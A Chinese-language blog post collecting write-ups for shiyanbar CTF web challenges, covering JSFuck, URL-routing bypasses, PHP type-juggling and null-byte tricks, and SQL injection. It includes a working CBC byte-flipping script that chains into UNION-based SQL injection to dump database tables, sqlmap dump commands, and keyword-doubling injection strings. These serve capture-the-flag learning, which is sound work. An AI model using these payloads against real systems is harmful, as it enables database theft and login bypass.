实验吧ctf题小计

实验吧ctf题小计

天下武功唯快不破

这道题给出提示
There is no martial art is indefectible, while the fastest speed is the only way for long success.
You must do it as fast as you can!
审查元素发现注释
please post what you find with parameter:key
也就是我们需要post传参一个key值得到flag
bp抓包看一下
image
响应头中有FLAGbase64编码,但是发现每一次请求都会改变base64值,所以我们需要写一个小脚本来快速抓取FLAG解码再post传参

1
2
3
4
5
6
7
8
9
10
11
 # -*- coding: utf-8 -*
import requests
import base64

r= requests.get("http://ctf5.shiyanbar.com/web/10/10.php")
r=r.headers.get('FLAG')
r=base64.b64decode(r)
print r[25:34]
d = {'key':r[25:34]}
r = requests.post("http://ctf5.shiyanbar.com/web/10/10.php", data=d)
print r.text

得到flag: CTF{Y0U_4R3_1NCR3D1BL3_F4ST!}

what a fuck!这是什么鬼东西?

打开得到一坨[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!。。。。
这是JSFuck编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
false       =>  ![]
true => !![]
undefined => [][[]]
NaN => +[![]]
0 => +[]
1 => +!+[]
2 => !+[]+!+[]
10 => [+!+[]]+[+[]]
Array => []
Number => +[]
String => []+[]
Boolean => ![]
Function => []["filter"]
eval => []["filter"]["constructor"]( CODE )()
window => []["filter"]["constructor"]("return this")()

在线网站解码得到flag:Ihatejs

拐弯抹角

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
 <?php
// code by SEC@USTC

echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>';

$URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}";

$code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));\\从index.php中读入一个字符串,再讲文件字符串中的flag变量值改变为CTF{???}
$stop = 0;

//这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
}

//第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
}

//第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
}

//第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
}

//第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Pass
}

//第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Pass
}

//第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Pass
}
if(!$stop) $stop = 8;

echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass '.$i, '//Pass', $code);
for(; $i < 8; $i++)
$code = str_replace('//Pass '.$i, '//Not Pass', $code);


echo highlight_string($code, TRUE);

echo '</body></html>';

代码中要求要去访问index.php,但是不能直接使用/indirection/index.php访问,同时过滤了./
、../、大小写绕过、//、文件后的. 、以及必须以/index.php结尾
在网上搜索了一下才知道可以利用伪静态技术,构造url:http://ctf5.shiyanbar.com/indirection/index.php/index.php
相当于服务器将第二个index.php当做参数处理了,服务器就只解析到第一个index.php
flag: CTF{PSEDUO_STATIC_DO_YOU_KNOW}

简单的登录题

开始随便输入,然后bp抓包,发现tips:test.php
image
访问http://ctf5.shiyanbar.com/web/jiandan/test.php
得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");\\想到cbc字节翻转攻击
error_reporting(0);
include('conn.php');
function sqliCheck($str){\\该函数对传入的变量进行过滤,防止SQL注入
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){\\该函数随机生产一个16位iv值
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);\\对传入的数组序列化
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);// 采用aes-128-cbc 方式加密序列化后的plain,返回原始或者base64编码后的字符串
setcookie("iv", base64_encode($iv));//cookie 值为base64编码的iv
setcookie("cipher", base64_encode($cipher));// cookie 值为bas64编码的值cipher
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);// 解码cookie和iv,并解密得到plain
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");\\这里的plain可能有两个值
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))\\过滤非法参数
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}

遇到的问题

  • 需要进行SQL注入但是遇到了关键字过滤
    1
    "/\\\|,|-|#|=|~|union|like|procedure/i"
  • SQL查询是id参数后面如何将后面的,0注释掉
  • 见到aes-128-cbc自然想到cbc字节翻转攻击,那么怎么来利用
    参考文章

解决方法

  • 利用%00截断后面的,0
  • 使用cbc翻转将lnion变为union绕过过滤(CBC翻转 关键在,初始化因子 xor 原文 xor 你想的字符串 得到 更改版的初始化因子)
CBC字节翻转攻击

参考文章
加密过程:
image
Plaintext:明文数据

IV:初始向量

Key:分组加密使用的密钥

Ciphertext:密文数据
解密过程:
每组解密时,先进行分组加密算法的解密,然后与前一组的密文进行异或才是最初的明文。

对于第一组则是与IV进行异或。

涉及名词:偏移量、php序列化、aes加密、异或

攻击过程:
对于解密时

设明文为X,密文为Y,解密函数为k。

X[i] = k(Y[i]) Xor Y[i-1]
解密第一组时

X[1]=k(Y[1]) Xor IV

对于X[i]的解密时,X[i] = k(Y[i]) Xor Y[i-1],k(Y[i])部分是无法控制的,假如修改Y[i]的值,是无法确定k(Y[i])的值,由于最后是异或操作,因此可以仅修改Y[i-1]的内容为Y’[i-1]来控制最后的明文的值,设解密后的内容为M[i]=k(Y[i]) Xor Y[i-1]。

将Y[i-1]的值设置为Y[i-1] Xor M[i]的值,新的Y[i-1]的值用Y’[i-1]表示。

那么X[i] = k(Y[i]) Xor Y’[i-1]=k(Y[i]) Xor Y[i-1] Xor M[i] = M[i] Xor M[i] = 0

这样就能将只修改Y[i-1]的内容来控制X[i]的值

而此时X[i-1]的值肯定就会出错了,设修改Y[i-1]的值,导致解密后X[i-1]的值为M[i-1],那么将Y[i-2]的值改为Y[i-2]=Y[i-2] Xor M[i-1] Xor 任意值,可以使得X[i-1]=任意值

这样循环往前,最后一组就是根据M[1]的值修改IV=IV Xor M[1] Xor 任意值,使得X[1]=任意值

对于本题来说,cookie中储存了初始的iv和cipher,我们可以利用bp修改,在本题中也是一样,先获取cipher 对应的cookie,然后字节反转为我们想要的payload,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
cipher='sZMYZaZsCxj98IedEp83YeaXgk4TtWPbw6D5mhkzP1I%3D'
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
idx=4
c1='2'
c2='#'
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
print(cipher_new)

这里得到了新的cipher,下面利用返回的密文值和公式 C = A XOR B得到新的iv,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding:utf8 -*-
__author__='pcat@chamd5.org'
from base64 import *
import urllib
iv='Ko5zoC%2BklAcyqq%2BqihjbwA%3D%3D'
iv_raw=b64decode(urllib.unquote(iv))
first='a:1:{s:2:"id";s:'
plain=b64decode('g8COFrN/0Z3FDCOZ6MfV5zI6IjEjIjt9')
iv_new=''
for i in range(16):
iv_new+=chr(ord(plain[i])^ord(first[i])^ord(iv_raw[i]))
iv_new=urllib.quote(b64encode(iv_new))
print iv_new

上述的两个脚本就可以修改iv, cipher, 将id=12 的情况变成id=1#,最后的查询脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding:utf8 -*-
# 请保留我的个人信息,谢谢~!
__author__='pcat@chamd5.org'
from base64 import *
import urllib
import requests
import re
# 解码base64,获得iv,cipher的加密值
def mydecode(value):
return b64decode(urllib.unquote(value))
# 转码
def myencode(value):
return urllib.quote(b64encode(value))
# 字节反转:将指定偏移量的字符转换为新的字符
def mycbc(value,idx,c1,c2):
lst=list(value)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
return ''.join(lst)
# 提交payload,获取cookie,并将cookie 解密为iv,cipher,再使用字节反转攻击,使得sql 查询能够成功
def pcat(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
myd={'id':payload}
res=requests.post(url,data=myd)
cookies=res.headers['Set-Cookie']
iv=re.findall(r'iv=(.*?),',cookies)[0]
cipher=re.findall(r'cipher=(.*)',cookies)[0]
iv_raw=mydecode(iv)
cipher_raw=mydecode(cipher)
# 字节反转,先转换cipher,得到aes加密的密文(非base64加密后得值),再利用异或,求出随机生成得iv
cipher_new=myencode(mycbc(cipher_raw,idx,c1,c2))
cookies_new={'iv':iv,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
plain=b64decode(re.findall(r"base64_decode\('(.*?)'\)",cont)[0])
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new+=chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new=myencode(iv_new)
# 得到源码生产的随机值iv 和aes 加密得cipher,并且plain 明文在cbc字节反转下可控
cookies_new={'iv':iv_new,'cipher':cipher_new}
cont=requests.get(url,cookies=cookies_new).content
print 'Payload:%s\n>> ' %(payload)
print cont
pass
# 不断带入构造好的sql 语句,得到返回结果即可
def foo():
pcat('12',4,'2','#')
pcat('0 2nion select * from((select 1)a join (select 2)b join (select
3)c);'+chr(0),6,'2','u')
pcat('0 2nion select * from((select 1)a join (select group_concat(table_name) from
information_schema.tables where table_schema regexp database())b join (select
3)c);'+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select group_concat(column_name) from
information_schema.columns where table_name regexp 'you_want')b join (select
3)c);"+chr(0),7,'2','u')
pcat("0 2nion select * from((select 1)a join (select value from you_want limit 1)b join
(select 3)c);"+chr(0),6,'2','u')
pass
if __name__ == '__main__':
foo()
print 'ok'

后台登录

查看源码发现

1
2
3
4
5
6
7
8
9
<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->

密码是经过md5哈希加密的,不懂网上查了一下,脑洞题,密码image中的ffifdyop

上传绕过

随便上传一个png图片
image
那上传一个PHP喃
image
在上传绕过里最有名的的就是00截断,那么我们就先要抓包
image

image

image

Once More

提示:科学计数法
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

一道代码审计题,根据if语句要求,password必须大于9999999,但是长度小于8,而且还要等于*-*
根据提示科学计数法,再利用%00截断,因为ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配,构造password=1e8%00*-*
另一种方法也是利用题目中的函数遇到数字会返回NULL来绕过
image

程序逻辑问题

查看源码发现index.txt文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);

$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];

if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");

}


}

根据源码可以看到两处特别需要重视的地方,很明显该sql语句存在注入漏洞,但是密码栏不能通过一般的注入来绕过,但是可以发现,只要满足了($row[pw]) &&(!strcasecmp($pass,$row[pw])就可以拿到flag,也就是说,我们输入的$pass与从数据库取出来的pw一致就行,我们可以控制$pass的值,但是貌似不知道数据库中pw的值,但是我们可以直接用union select ‘某一个经过md5加密后的字符串’#来自己随意设定密码,注意这里一定是经过md5加密,不然会出错。

构造语句:’ and 0=1 union select ‘529CA8050A00180790CF88B63468826A’#

密码:hehe

就拿到flag了。

php大法

页面提示:index.php.txt
打开得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if(eregi("hackerDJ",$_GET[id])) {\\get传参的id值不能等于hackerDJ
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);\\对id值进行一次解码
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>


<br><br>
Can you authenticate to this website?

值得一提的是我们在网页输入url时已经进行了一次url解码,所以这里解码了两次得到的hackerDJ,所以我们传入的原始值应该是两次url编码后的hackerDJ
构造url: index.php?id=%2568ackerDJ
flag: DUTCTF{PHP_is_the_best_program_language}

Forms

打开链接后显示:
image
发现只有一个输入框,什么也没有,查看源代码,发现有一个隐藏的输入框:
image
这时按F12,修改type=”hidden”为”text”后就能看到输入框了,其中value=0,这时候还是不知道另外一个输入框该填什么,然后试着修改了一下value的值,令value=1,再提交一下,就看到进一步的提示了:
image
这时复制pin值到输入框里就拿到flag

简单的SQL注入2

试着先输入1,再输入1’,页面报语法错误,再输入1 ‘页面出现SQLi detected!,推出空格被它过滤了
用SQLmap跑一下
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 –tamper=space2comment –dbs
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 –tamper=space2comment –tables -D web1
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 –tamper=space2comment –dump -C flag -T flag -D web1
image

简单的SQL注入3

输入1,页面显示hello,输入1’,页面报错
sqlmap跑起来
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 –dbs
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 –tables -D web1
image
sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 –dump -C flag -T flag -D web1
image

简单的SQL注入

这道题也是sql注入,输入1,页面显示正常,输出1’,页面报错

之后通过输入查表字段,发现union select 被过滤了,这是想到用两个union表示

重复输入union select后发现空格也被过滤了,继续用两个空格代替一个空格
1.查询当前数据库

1’ unionunion selectselect database()’

2.查询数据库中的表

1’ unionunion selectselect table_name fromfrom information_schema.tables wherewhere ‘1’=’1

3.查询字段名

1’ unionunion selectselect column_namcolumn_namee fromfrom information_schema.coluinformation_schema.columnsmns wherewhere table_name=’flag

4.最后构造出1’ unionunion selectselect flag fromfrom flag wherewhere ‘1’=’1
image

你真的会PHP吗?

抓包发现提示:
image
hint:6c525af4059b4fe7d8c33a.txt
打开发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php


$info = "";
$req = [];
$flag="xxxxxxxxxx";

ini_set("display_error", false);
error_reporting(0);


if(!isset($_POST['number'])){
header("hint:6c525af4059b4fe7d8c33a.txt");

die("have a fun!!");
}

foreach([$_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}


function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}


if(is_numeric($_REQUEST['number'])){//这里判断的是未经trim()和addslashes()处理过的变量

$info="sorry, you cann't input a number!";

}elseif($req['number']!=strval(intval($req['number']))){

$info = "number must be equal to it's integer!! ";

}else{

$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));

if($value1!=$value2){
$info="no, this is not a palindrome number!";
}else{

if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}else{
$info=$flag;
}
}

}

echo $info;

POST的number需要满足以下条件:
1.不为空,且不能是一个数值型数字,包括小数。(由is_numeric函数判断)
2.不能是一个回文数。(is_palindrome_number判断)
3.该数的反转的整数值应该和它本身的整数值相等。
绕过方法:
1.利用intval函数溢出绕过
$number不是数字;$number==strval(intval($number));$number不是回文数

这里要看下操作系统,32位有符号数int范围-2147483648 ~ 2147483647;64位 - 9223372036854775808~9223372036854775807
可用payload
32位:2147483647%00;%002147483647;2147483647%20
64位:9223372036854775807%00;%009223372036854775807;9223372036854775807%20
%00可以放在数字前后,%20只能放在后面;这里的%00或者是%20可以将数字解释为字符串
2.用科学计数法构造0=0
因为要求不能为回文数,但又要满足intval($req[“number”])=intval(strrev($req[“number”])),所以我们采用科学计数法构造poc为number=0e-0%00,这样的话我们就可以绕过

文章目录
  1. 1. 实验吧ctf题小计
    1. 1.1. 天下武功唯快不破
    2. 1.2. what a fuck!这是什么鬼东西?
    3. 1.3. 拐弯抹角
    4. 1.4. 简单的登录题
      1. 1.4.1. CBC字节翻转攻击
    5. 1.5. 后台登录
    6. 1.6. 上传绕过
    7. 1.7. Once More
    8. 1.8. 程序逻辑问题
    9. 1.9. php大法
    10. 1.10. Forms
    11. 1.11. 简单的SQL注入2
    12. 1.12. 简单的SQL注入3
    13. 1.13. 简单的SQL注入
    14. 1.14. 你真的会PHP吗?
,